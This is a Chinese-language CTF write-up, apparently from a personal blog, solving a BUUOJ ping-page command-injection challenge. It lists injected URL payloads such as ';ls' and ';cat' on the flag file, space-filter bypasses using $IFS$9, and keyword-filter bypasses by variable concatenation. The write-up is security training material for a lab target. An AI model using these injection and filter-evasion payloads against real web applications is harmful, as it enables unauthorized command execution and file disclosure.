type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)
Command Injection(命令注入)类
含义:在文本框内写一些”恶意“命令!
思路:把命令混进文本框内,并且让它能执行。
实操:
1、启动靶机,观察题目界面
- 只有一个提示:“/?ip=”
- 发现是一个PING功能,且应该是GET方法,需要在URL中传入ip参数。
- 怀疑很可能是命令注入!
2、寻找解题思路
- 先正常PING一次本机(127.0.0.1)。
- 构建URL:
- 在原始URL后添上/?ip=127.0.0.1
- http://27ca1c08-f29c-45b9-a4e0-0adc83a8f519.node4.buuoj.cn:81/?ip=127.0.0.1
- 访问!
- 尝试使用命令连接符连接Linux命令。
- 构建URL:
- 在原始URL后添上/?ip=127.0.0.1;ls
- http://27ca1c08-f29c-45b9-a4e0-0adc83a8f519.node4.buuoj.cn:81/?ip=127.0.0.1;ls
- 访问!
- 发现在直接PING本机的结果下方多出了
flag.php
和index.php
。 - 那么说明的确存在命令注入漏洞。
- 且该操作系统的确为Linux。
- 且已经找到了Flag!
3、尝试打开Flag文件
- 最常用的查看文件内容命令:cat命令
- 构建URL:
- 在原始URL后添上/?ip=127.0.0.1;cat flag.php
- http://27ca1c08-f29c-45b9-a4e0-0adc83a8f519.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php
- 访问!
- 说明存在空格检测
4、绕过空格
- 常见的方法 逐个测试一下。
$IFS- 注意注意:
$IFS
在linux下表示分隔符,但是如果单纯的cat$IFSflag
,bash解释器会把整个IFSflag
当做变量名,所以导致输不出来结果,因此这里加一个{}
就固定了变量名。 - ↓
- ${IFS}
- 提示/?ip= 1fxck your symbol!
- $IFS$9
- 注意注意:在后面加个
$
可以起到截断的作用,使用$9
是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 - 提示/?ip= fxck your flag!
- <
- 提示/?ip= 1fxck your symbol!
- <>
- 提示/?ip= 1fxck your symbol!
- {cat,flag.php}
- 提示/?ip= 1fxck your symbol!
- %20
- 提示/?ip= fxck your space!
- %09
- 提示/?ip= 1fxck your symbol!
- 看来只有$IFS$9成功绕过了空格检测。
- 但柿,还有“flag”关键词检测 😅
5、绕过关键词
- 常见的方法 逐个测试一下。
- 单引号和双引号绕过。
- /?ip=127.0.0.1;cat$IFS$9''f''l''a''g''.php
- 提示/?ip= 1fxck your symbol!
- 反斜杠绕过。
- /?ip=127.0.0.1;cat$IFS$9\f\l\a\g\.php
- 提示/?ip= fxck your flag!
- 利用环境变量拼接方法绕过。
- 注意注意:这里之所以选择替换flag里的“g”还是因为如果替换前边的字母,例如
fl$dg
,bash解释器会把整个dg
当做变量名,所以导致输不出来结果。 - 如果必须替换前边的字母也得用$9来截断:
- /?ip=127.0.0.1;d=a;cat$IFS$9fl$d$9g.php
- /?ip=127.0.0.1;d=g;cat$IFS$9fla$d.php
- 正常返回PING的结果!
- 利用环境变量拼接方法绕过可正常绕过“flag”关键词。
- 但柿,还是没有看到Flag 😅
6、寻找Flag
- 点击“F12”键打开“开发者工具”找找。
- 找到<body>中的<pre>最底部
7、解题成功!
- 被注释掉的绿色内容即为Flag
- 获得Flag!